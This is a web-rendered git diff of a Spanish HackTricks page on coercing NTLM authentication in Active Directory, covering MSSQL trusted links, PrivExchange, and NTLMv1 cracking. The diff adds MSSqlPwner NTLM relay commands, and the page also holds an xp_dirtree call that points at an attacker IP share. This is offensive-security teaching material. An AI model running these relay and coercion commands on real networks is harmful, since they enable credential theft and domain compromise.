#### Ejecutar consultas en enlace confiable
|
#### Ejecutar consultas en un enlace confiable
|
||||||
|
|
||||||
Ejecutar consultas a través del enlace (ejemplo: encontrar más enlaces en la nueva instancia accesible):
|
Ejecutar consultas a través del enlace (ejemplo: encontrar más enlaces en la nueva instancia accesible):
|
||||||
```sql
|
```sql
|
||||||
|
|
|
@ -64,7 +64,7 @@ Si un atacante ya ha comprometido una computadora con [Delegación No Restringid
|
||||||
|
|
||||||
El ataque `PrivExchange` es el resultado de un defecto encontrado en la **función `PushSubscription` del Exchange Server**. Esta función permite que el servidor de Exchange sea forzado por cualquier usuario de dominio con un buzón para autenticarse en cualquier host proporcionado por el cliente a través de HTTP.
|
El ataque `PrivExchange` es el resultado de un defecto encontrado en la **función `PushSubscription` del Exchange Server**. Esta función permite que el servidor de Exchange sea forzado por cualquier usuario de dominio con un buzón para autenticarse en cualquier host proporcionado por el cliente a través de HTTP.
|
||||||
|
|
||||||
Por defecto, el **servicio de Exchange se ejecuta como SYSTEM** y se le otorgan privilegios excesivos (específicamente, tiene **privilegios WriteDacl en el dominio antes de la Actualización Acumulativa de 2019**). Este defecto puede ser explotado para habilitar el **reenvío de información a LDAP y posteriormente extraer la base de datos NTDS del dominio**. En casos donde el reenvío a LDAP no es posible, este defecto aún puede ser utilizado para reenviar y autenticarse en otros hosts dentro del dominio. La explotación exitosa de este ataque otorga acceso inmediato al Administrador de Dominio con cualquier cuenta de usuario de dominio autenticada.
|
Por defecto, el **servicio de Exchange se ejecuta como SYSTEM** y se le otorgan privilegios excesivos (específicamente, tiene **privilegios WriteDacl en el dominio antes de la Actualización Acumulativa de 2019**). Este defecto puede ser explotado para habilitar el **reenvío de información a LDAP y posteriormente extraer la base de datos NTDS del dominio**. En casos donde el reenvío a LDAP no es posible, este defecto aún puede ser utilizado para reenviar y autenticar a otros hosts dentro del dominio. La explotación exitosa de este ataque otorga acceso inmediato al Administrador de Dominio con cualquier cuenta de usuario de dominio autenticada.
|
||||||
|
|
||||||
## Dentro de Windows
|
## Dentro de Windows
|
||||||
|
|
||||||
|
@ -78,6 +78,17 @@ C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -S
|
||||||
```sql
|
```sql
|
||||||
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
||||||
```
|
```
|
||||||
|
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
||||||
|
```shell
|
||||||
|
# Issuing NTLM relay attack on the SRV01 server
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
||||||
|
|
||||||
|
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
||||||
|
|
||||||
|
# Issuing NTLM relay attack on the local server with custom command
|
||||||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||||
|
```
|
||||||
O utiliza esta otra técnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
|
O utiliza esta otra técnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
|
||||||
|
|
||||||
### Certutil
|
### Certutil
|
||||||
|
@ -104,8 +115,8 @@ Si puedes realizar un ataque MitM a una computadora e inyectar HTML en una pági
|
||||||
```
|
```
|
||||||
## Cracking NTLMv1
|
## Cracking NTLMv1
|
||||||
|
|
||||||
Si puedes capturar [los desafíos de NTLMv1, lee aquí cómo crackearlos](../ntlm/#ntlmv1-attack).\
|
Si puedes capturar [desafíos NTLMv1 lee aquí cómo crackearlos](../ntlm/#ntlmv1-attack).\
|
||||||
_Recuerda que para crackear NTLMv1 necesitas establecer el desafío de Responder en "1122334455667788"_
|
_Recuerda que para crackear NTLMv1 necesitas establecer el desafío de Responder a "1122334455667788"_
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
Loading…
Reference in a new issue